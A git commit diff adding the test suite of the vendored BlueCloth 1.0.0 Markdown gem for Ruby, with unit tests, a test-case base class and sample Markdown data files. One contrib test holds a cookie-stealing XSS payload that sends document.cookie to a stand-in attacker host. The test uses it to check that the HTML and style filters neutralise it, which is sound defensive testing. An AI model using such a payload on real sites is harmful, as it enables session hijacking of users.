Organizando plugins e gems.
This commit is contained in:
71
vendor/gems/bluecloth-1.0.0/tests/00_Class.tests.rb
vendored
Normal file
71
vendor/gems/bluecloth-1.0.0/tests/00_Class.tests.rb
vendored
Normal file
@@ -0,0 +1,71 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for the BlueCloth class object
|
||||
# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
### This test case tests ...
|
||||
class BlueClothClassTestCase < BlueCloth::TestCase
|
||||
|
||||
TestString = "foo"
|
||||
|
||||
def test_00_class_constant
|
||||
printTestHeader "BlueCloth: Class Constant"
|
||||
|
||||
assert Object::constants.include?( "BlueCloth" ),
|
||||
"No BlueCloth constant in Object"
|
||||
assert_instance_of Class, BlueCloth
|
||||
end
|
||||
|
||||
def test_01_instantiation
|
||||
printTestHeader "BlueCloth: Instantiation"
|
||||
rval = nil
|
||||
|
||||
# With no argument... ("")
|
||||
assert_nothing_raised {
|
||||
rval = BlueCloth::new
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal "", rval
|
||||
|
||||
# String argument
|
||||
assert_nothing_raised {
|
||||
rval = BlueCloth::new TestString
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal TestString, rval
|
||||
|
||||
addSetupBlock {
|
||||
debugMsg "Creating a new BlueCloth"
|
||||
@obj = BlueCloth::new( TestString )
|
||||
}
|
||||
addTeardownBlock {
|
||||
@obj = nil
|
||||
}
|
||||
end
|
||||
|
||||
def test_02_duplication
|
||||
printTestHeader "BlueCloth: Duplication"
|
||||
rval = nil
|
||||
|
||||
assert_nothing_raised {
|
||||
rval = @obj.dup
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal TestString, rval
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
1527
vendor/gems/bluecloth-1.0.0/tests/05_Markdown.tests.rb
vendored
Normal file
1527
vendor/gems/bluecloth-1.0.0/tests/05_Markdown.tests.rb
vendored
Normal file
File diff suppressed because it is too large
Load Diff
57
vendor/gems/bluecloth-1.0.0/tests/10_Bug.tests.rb
vendored
Normal file
57
vendor/gems/bluecloth-1.0.0/tests/10_Bug.tests.rb
vendored
Normal file
@@ -0,0 +1,57 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for bugs found in BlueCloth
|
||||
# $Id: 10_Bug.tests.rb 68 2004-08-25 05:14:37Z ged $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
require 'timeout'
|
||||
|
||||
### This test case tests ...
|
||||
class BugsTestCase < BlueCloth::TestCase
|
||||
BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
|
||||
|
||||
### Test to be sure the README file can be transformed.
|
||||
def test_00_slow_block_regex
|
||||
contents = File::read( File::join(BaseDir,"README") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
timeout( 2 ) do
|
||||
bcobj.to_html
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
### :TODO: Add more documents and test their transforms.
|
||||
|
||||
def test_10_regexp_engine_overflow_bug
|
||||
contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
bcobj.to_html
|
||||
}
|
||||
end
|
||||
|
||||
def test_15_regexp_engine_overflow_bug2
|
||||
contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
bcobj.to_html
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
__END__
|
||||
|
||||
132
vendor/gems/bluecloth-1.0.0/tests/15_Contrib.tests.rb
vendored
Normal file
132
vendor/gems/bluecloth-1.0.0/tests/15_Contrib.tests.rb
vendored
Normal file
@@ -0,0 +1,132 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for contributed features
|
||||
# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
|
||||
### This test case tests ...
|
||||
class ContribTestCase < BlueCloth::TestCase
|
||||
|
||||
DangerousHtml =
|
||||
"<script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
||||
DangerousHtmlOutput =
|
||||
"<p><script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script></p>"
|
||||
DangerousStylesOutput =
|
||||
"<script>document.location='http://www.hacktehplanet.com" +
|
||||
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
||||
NoLessThanHtml = "Foo is definitely > than bar"
|
||||
NoLessThanOutput = "<p>Foo is definitely > than bar</p>"
|
||||
|
||||
|
||||
### HTML filter options contributed by Florian Gross.
|
||||
|
||||
### Test the :filter_html restriction
|
||||
def test_10_filter_html
|
||||
printTestHeader "filter_html Option"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, :filter_html )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousHtmlOutput, rval
|
||||
|
||||
# Test setting it in a sub-array
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, [:filter_html] )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousHtmlOutput, rval
|
||||
end
|
||||
|
||||
|
||||
### Test the :filter_styles restriction
|
||||
def test_20_filter_styles
|
||||
printTestHeader "filter_styles Option"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, :filter_styles )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousStylesOutput, rval
|
||||
|
||||
# Test setting it in a subarray
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
# Accessors
|
||||
assert_nothing_raised { rval = bc.filter_styles }
|
||||
assert_equal true, rval
|
||||
assert_nothing_raised { rval = bc.filter_html }
|
||||
assert_equal nil, rval
|
||||
|
||||
# Test rendering with filters on
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal DangerousStylesOutput, rval
|
||||
|
||||
end
|
||||
|
||||
|
||||
### Test to be sure filtering when there's no opening angle brackets doesn't
|
||||
### die.
|
||||
def test_30_filter_no_less_than
|
||||
printTestHeader "filter without a less-than"
|
||||
rval = bc = nil
|
||||
|
||||
# Test as a 1st-level param
|
||||
assert_nothing_raised {
|
||||
bc = BlueCloth::new( NoLessThanHtml, :filter_html )
|
||||
}
|
||||
assert_instance_of BlueCloth, bc
|
||||
|
||||
assert_nothing_raised { rval = bc.to_html }
|
||||
assert_equal NoLessThanOutput, rval
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
274
vendor/gems/bluecloth-1.0.0/tests/bctestcase.rb
vendored
Normal file
274
vendor/gems/bluecloth-1.0.0/tests/bctestcase.rb
vendored
Normal file
@@ -0,0 +1,274 @@
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# This is an abstract test case class for building Test::Unit unit tests for the
|
||||
# BlueCloth module. It consolidates most of the maintenance work that must be
|
||||
# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
|
||||
# as adding some other useful methods that make building, maintaining, and using
|
||||
# the tests for programming much easier (IMHO). See the docs for Test::Unit for
|
||||
# more info on the particulars of unit testing.
|
||||
#
|
||||
# == Synopsis
|
||||
#
|
||||
# # Allow the test to be run from anywhere:
|
||||
# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
# basedir = File::dirname( __FILE__ )
|
||||
# require File::join( basedir, 'bctestcase' )
|
||||
# end
|
||||
#
|
||||
# class MySomethingTest < BlueCloth::TestCase
|
||||
# def setup
|
||||
# super()
|
||||
# @foo = 'bar'
|
||||
# end
|
||||
#
|
||||
# def test_00_something
|
||||
# obj = nil
|
||||
# assert_nothing_raised { obj = MySomething::new }
|
||||
# assert_instance_of MySomething, obj
|
||||
# assert_respond_to :myMethod, obj
|
||||
# end
|
||||
#
|
||||
# end
|
||||
#
|
||||
# == Rcsid
|
||||
#
|
||||
# $Id: lingtestcase.rb,v 1.3 2003/09/11 05:00:56 deveiant Exp $
|
||||
#
|
||||
# == Authors
|
||||
#
|
||||
# * Michael Granger <ged@FaerieMUD.org>
|
||||
#
|
||||
#:include: COPYRIGHT
|
||||
#
|
||||
#---
|
||||
#
|
||||
# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
|
||||
#
|
||||
|
||||
$DebugPattern ||= nil
|
||||
|
||||
begin
|
||||
basedir = File::dirname( File::dirname(__FILE__) )
|
||||
unless $LOAD_PATH.include?( "#{basedir}/lib" )
|
||||
$LOAD_PATH.unshift "#{basedir}/lib"
|
||||
end
|
||||
end
|
||||
|
||||
require "test/unit"
|
||||
require "bluecloth"
|
||||
|
||||
|
||||
class BlueCloth
|
||||
|
||||
### The abstract base class for BlueCloth test cases.
|
||||
class TestCase < Test::Unit::TestCase
|
||||
|
||||
@methodCounter = 0
|
||||
@setupBlocks = []
|
||||
@teardownBlocks = []
|
||||
class << self
|
||||
attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
|
||||
end
|
||||
|
||||
|
||||
### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
|
||||
### and accessors to the inheriting class.
|
||||
def self::inherited( klass )
|
||||
klass.module_eval {
|
||||
@setupBlocks = []
|
||||
@teardownBlocks = []
|
||||
|
||||
class << self
|
||||
attr_accessor :setupBlocks, :teardownBlocks
|
||||
end
|
||||
}
|
||||
klass.methodCounter = 0
|
||||
end
|
||||
|
||||
|
||||
|
||||
### Output the specified <tt>msgs</tt> joined together to
|
||||
### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
|
||||
def self::debugMsg( *msgs )
|
||||
return unless $DEBUG
|
||||
self.message "DEBUG>>> %s" % msgs.join('')
|
||||
end
|
||||
|
||||
### Output the specified <tt>msgs</tt> joined together to
|
||||
### <tt>STDOUT</tt>.
|
||||
def self::message( *msgs )
|
||||
$stderr.puts msgs.join('')
|
||||
$stderr.flush
|
||||
end
|
||||
|
||||
|
||||
### Add a setup block for the current testcase
|
||||
def self::addSetupBlock( &block )
|
||||
self.methodCounter += 1
|
||||
newMethodName = "setup_#{self.methodCounter}".intern
|
||||
define_method( newMethodName, &block )
|
||||
self.setupBlocks.push newMethodName
|
||||
end
|
||||
|
||||
### Add a teardown block for the current testcase
|
||||
def self::addTeardownBlock( &block )
|
||||
self.methodCounter += 1
|
||||
newMethodName = "teardown_#{self.methodCounter}".intern
|
||||
define_method( newMethodName, &block )
|
||||
self.teardownBlocks.unshift newMethodName
|
||||
end
|
||||
|
||||
|
||||
#############################################################
|
||||
### I N S T A N C E M E T H O D S
|
||||
#############################################################
|
||||
|
||||
### A dummy test method to allow this Test::Unit::TestCase to be
|
||||
### subclassed without complaining about the lack of tests.
|
||||
def test_0_dummy
|
||||
end
|
||||
|
||||
|
||||
### Forward-compatibility method for namechange in Test::Unit
|
||||
def setup( *args )
|
||||
self.class.setupBlocks.each {|sblock|
|
||||
debugMsg "Calling setup block method #{sblock}"
|
||||
self.send( sblock )
|
||||
}
|
||||
super( *args )
|
||||
end
|
||||
alias_method :set_up, :setup
|
||||
|
||||
|
||||
### Forward-compatibility method for namechange in Test::Unit
|
||||
def teardown( *args )
|
||||
super( *args )
|
||||
self.class.teardownBlocks.each {|tblock|
|
||||
debugMsg "Calling teardown block method #{tblock}"
|
||||
self.send( tblock )
|
||||
}
|
||||
end
|
||||
alias_method :tear_down, :teardown
|
||||
|
||||
|
||||
### Skip the current step (called from #setup) with the +reason+ given.
|
||||
def skip( reason=nil )
|
||||
if reason
|
||||
msg = "Skipping %s: %s" % [ @method_name, reason ]
|
||||
else
|
||||
msg = "Skipping %s: No reason given." % @method_name
|
||||
end
|
||||
|
||||
$stderr.puts( msg ) if $VERBOSE
|
||||
@method_name = :skipped_test
|
||||
end
|
||||
|
||||
|
||||
def skipped_test # :nodoc:
|
||||
end
|
||||
|
||||
|
||||
### Add the specified +block+ to the code that gets executed by #setup.
|
||||
def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
|
||||
|
||||
|
||||
### Add the specified +block+ to the code that gets executed by #teardown.
|
||||
def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
|
||||
|
||||
|
||||
### Instance alias for the like-named class method.
|
||||
def message( *msgs )
|
||||
self.class.message( *msgs )
|
||||
end
|
||||
|
||||
|
||||
### Instance alias for the like-named class method
|
||||
def debugMsg( *msgs )
|
||||
self.class.debugMsg( *msgs )
|
||||
end
|
||||
|
||||
|
||||
### Output a separator line made up of <tt>length</tt> of the specified
|
||||
### <tt>char</tt>.
|
||||
def writeLine( length=75, char="-" )
|
||||
$stderr.puts "\r" + (char * length )
|
||||
end
|
||||
|
||||
|
||||
### Output a header for delimiting tests
|
||||
def printTestHeader( desc )
|
||||
return unless $VERBOSE || $DEBUG
|
||||
message ">>> %s <<<" % desc
|
||||
end
|
||||
|
||||
|
||||
### Try to force garbage collection to start.
|
||||
def collectGarbage
|
||||
a = []
|
||||
1000.times { a << {} }
|
||||
a = nil
|
||||
GC.start
|
||||
end
|
||||
|
||||
|
||||
### Output the name of the test as it's running if in verbose mode.
|
||||
def run( result )
|
||||
$stderr.puts self.name if $VERBOSE || $DEBUG
|
||||
|
||||
# Support debugging for individual tests
|
||||
olddb = nil
|
||||
if $DebugPattern && $DebugPattern =~ @method_name
|
||||
olddb = $DEBUG
|
||||
$DEBUG = true
|
||||
end
|
||||
|
||||
super
|
||||
|
||||
$DEBUG = olddb unless olddb.nil?
|
||||
end
|
||||
|
||||
|
||||
#############################################################
|
||||
### E X T R A A S S E R T I O N S
|
||||
#############################################################
|
||||
|
||||
### Negative of assert_respond_to
|
||||
def assert_not_respond_to( obj, meth )
|
||||
msg = "%s expected NOT to respond to '%s'" %
|
||||
[ obj.inspect, meth ]
|
||||
assert_block( msg ) {
|
||||
!obj.respond_to?( meth )
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
### Assert that the instance variable specified by +sym+ of an +object+
|
||||
### is equal to the specified +value+. The '@' at the beginning of the
|
||||
### +sym+ will be prepended if not present.
|
||||
def assert_ivar_equal( value, object, sym )
|
||||
sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
|
||||
msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
|
||||
[ sym, object.inspect, value.inspect ]
|
||||
msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
|
||||
assert_block( msg ) {
|
||||
value == object.instance_variable_get(sym)
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
### Assert that the specified +object+ has an instance variable which
|
||||
### matches the specified +sym+. The '@' at the beginning of the +sym+
|
||||
### will be prepended if not present.
|
||||
def assert_has_ivar( sym, object )
|
||||
sym = "@#{sym}" unless /^@/ =~ sym.to_s
|
||||
msg = "Object <%s> expected to have an instance variable <%s>" %
|
||||
[ object.inspect, sym ]
|
||||
assert_block( msg ) {
|
||||
object.instance_variables.include?( sym.to_s )
|
||||
}
|
||||
end
|
||||
|
||||
end # class TestCase
|
||||
|
||||
end # class BlueCloth
|
||||
|
||||
34
vendor/gems/bluecloth-1.0.0/tests/data/antsugar.txt
vendored
Normal file
34
vendor/gems/bluecloth-1.0.0/tests/data/antsugar.txt
vendored
Normal file
@@ -0,0 +1,34 @@
|
||||
The Ant-Sugar Tales
|
||||
===================
|
||||
|
||||
By Candice Yellowflower
|
||||
|
||||
The _Ant-Sugar Tales_ is a collection of short stories told from the
|
||||
perspective of a fine young lady from [Venice][1], who has some run-ins
|
||||
with a few [inquisitive insects][2]. Each tale presents a moral quandry,
|
||||
which the ants are quick to solve with their antly wisdom and
|
||||
know-how. Some of the moral lessons presented are:
|
||||
|
||||
* Laundry: How not to get caught in soiled knickers.
|
||||
* Used Ticket Stubs and Their Impact on the Universe
|
||||
* I'm Keeping a Birdhouse in my Attic
|
||||
|
||||
Use of Metaphor
|
||||
---------------
|
||||
|
||||
The author's splended use of metaphor can be attributed to her growing
|
||||
up in a art-supply store. Her characters are richly outlined, but her
|
||||
unusual descriptions can sometimes be a bit jarring in places, such as
|
||||
her description of the old caretaker that lives inside a hollow tree in
|
||||
her yard:
|
||||
|
||||
> His skin was smooth like Magnani Pescia 100% acid-free cold pressed
|
||||
> 22x30" Soft White Paper, with fine hair like the bristles of a Habico
|
||||
> Lasur Superb Oil Glazing Brush Size 10.
|
||||
|
||||
|
||||
[1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3
|
||||
(Venice: The Grand Canal)
|
||||
[2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html
|
||||
|
||||
|
||||
17
vendor/gems/bluecloth-1.0.0/tests/data/ml-announce.txt
vendored
Normal file
17
vendor/gems/bluecloth-1.0.0/tests/data/ml-announce.txt
vendored
Normal file
@@ -0,0 +1,17 @@
|
||||
Hi,
|
||||
|
||||
I'd like to announce the alpha release of a Markdown library for [Ruby][1]
|
||||
called "BlueCloth". It's mostly a direct port of the most recent Perl version,
|
||||
minus the various plugin hooks and whatnot.
|
||||
|
||||
More information can be found on [the project page][2], or feel free to ask me
|
||||
directly. I don't have much in the way of a demo yet, but will be working on
|
||||
getting something set up in the coming days.
|
||||
|
||||
[1]: http://www.ruby-lang.org/
|
||||
[2]: http://bluecloth.rubyforge.org/
|
||||
|
||||
--
|
||||
Michael Granger <ged@FaerieMUD.org>
|
||||
Rubymage, Believer, Architect
|
||||
The FaerieMUD Consortium <http://www.FaerieMUD.org/>
|
||||
67
vendor/gems/bluecloth-1.0.0/tests/data/re-overflow.txt
vendored
Normal file
67
vendor/gems/bluecloth-1.0.0/tests/data/re-overflow.txt
vendored
Normal file
@@ -0,0 +1,67 @@
|
||||
* xx xxxxxxx xx xxxxxx.
|
||||
|
||||
* xxx xxxxxxx xxxx xx xxxxxxxxxxx xx:
|
||||
|
||||
* xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx
|
||||
xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx
|
||||
xxx xx xxxxxxxxx xx xxxx.
|
||||
|
||||
xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx
|
||||
xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx.
|
||||
|
||||
* xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx
|
||||
xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx
|
||||
xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx.
|
||||
|
||||
xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx)
|
||||
xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx
|
||||
xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx.
|
||||
|
||||
xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx
|
||||
xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx,
|
||||
xxxx xx xxxxxx xxx xxxx.
|
||||
|
||||
* xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx
|
||||
xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx
|
||||
xxxxxx xxx-xxxx xxxxx.
|
||||
|
||||
xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx.
|
||||
|
||||
* xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx
|
||||
xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx
|
||||
xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx
|
||||
xx xxx xxxxxxxxx xxxx-xxx.
|
||||
|
||||
* xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx
|
||||
xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx
|
||||
xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx.
|
||||
|
||||
* xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx
|
||||
xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx.
|
||||
|
||||
x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx
|
||||
xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx
|
||||
xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx:
|
||||
|
||||
* xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx
|
||||
xxxxxxxxxx).
|
||||
|
||||
* xxxxxxxxxxx xx xxxx xxxxxxx xxx.
|
||||
|
||||
* xxxx xx xxxxx xxxxxxx xx xxx xxxxxx.
|
||||
|
||||
* xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx.
|
||||
|
||||
* xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx.
|
||||
|
||||
* xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx
|
||||
xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx
|
||||
xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx.
|
||||
|
||||
* xx x xxxxx xxxx:
|
||||
|
||||
* xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx,
|
||||
xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx,
|
||||
xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx
|
||||
-- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx
|
||||
xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx.
|
||||
281
vendor/gems/bluecloth-1.0.0/tests/data/re-overflow2.txt
vendored
Normal file
281
vendor/gems/bluecloth-1.0.0/tests/data/re-overflow2.txt
vendored
Normal file
@@ -0,0 +1,281 @@
|
||||
<strong>iFotobilder</strong> will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto.
|
||||
|
||||
## Getting Started
|
||||
|
||||
Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this.
|
||||
|
||||
Here's what I found:
|
||||
|
||||
* [Writing Plugins for Cocoa][1]
|
||||
|
||||
[1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html
|
||||
|
||||
## The iPhoto Export API
|
||||
|
||||
Using the `class-dump` tool, I dumped the export API:
|
||||
|
||||
/*
|
||||
* Generated by class-dump 3.0.
|
||||
*
|
||||
* class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard.
|
||||
*/
|
||||
|
||||
/*
|
||||
* File: /Applications/iPhoto.app/Contents/MacOS/iPhoto
|
||||
*/
|
||||
|
||||
@protocol ExportImageProtocol
|
||||
- (unsigned int)imageCount;
|
||||
- (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20;
|
||||
- (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
|
||||
- (unsigned int)imageFormatAtIndex:(unsigned int)fp16;
|
||||
- (id)imageCaptionAtIndex:(unsigned int)fp16;
|
||||
- (id)imagePathAtIndex:(unsigned int)fp16;
|
||||
- (id)thumbnailPathAtIndex:(unsigned int)fp16;
|
||||
- (id)imageDictionaryAtIndex:(unsigned int)fp16;
|
||||
- (float)imageAspectRatioAtIndex:(unsigned int)fp16;
|
||||
- (id)albumName;
|
||||
- (id)albumMusicPath;
|
||||
- (unsigned int)albumCount;
|
||||
- (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16;
|
||||
- (id)window;
|
||||
- (void)enableControls;
|
||||
- (void)disableControls;
|
||||
- (void)clickExport;
|
||||
- (void)startExport;
|
||||
- (void)cancelExport;
|
||||
- (void)cancelExportBeforeBeginning;
|
||||
- (id)directoryPath;
|
||||
- (id)temporaryDirectory;
|
||||
- (BOOL)doesFileExist:(id)fp16;
|
||||
- (BOOL)doesDirectoryExist:(id)fp16;
|
||||
- (BOOL)createDir:(id)fp16;
|
||||
- (id)uniqueSubPath:(id)fp12 child:(id)fp20;
|
||||
- (id)makeUniquePath:(id)fp16;
|
||||
- (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20;
|
||||
- (id)makeUniqueFileNameWithTime:(id)fp16;
|
||||
- (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20;
|
||||
- (id)pathForFSSpec:(id)fp16;
|
||||
- (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27;
|
||||
- (id)pathForFSRef:(struct FSRef *)fp16;
|
||||
- (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23;
|
||||
- (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23;
|
||||
- (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27;
|
||||
- (BOOL)isAliasFileAtPath:(id)fp16;
|
||||
- (id)pathContentOfAliasAtPath:(id)fp16;
|
||||
- (id)stringByResolvingAliasesInPath:(id)fp16;
|
||||
- (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20;
|
||||
- (id)validFilename:(id)fp16;
|
||||
- (id)getExtensionForImageFormat:(unsigned int)fp16;
|
||||
- (unsigned int)getImageFormatForExtension:(id)fp16;
|
||||
- (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32;
|
||||
- (void *)createThumbnailer;
|
||||
- (void *)retainThumbnailer:(void *)fp16;
|
||||
- (void *)autoreleaseThumbnailer:(void *)fp16;
|
||||
- (void)releaseThumbnailer:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32;
|
||||
- (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 quality:(int)fp20;
|
||||
- (int)thumbnailerQuality:(void *)fp16;
|
||||
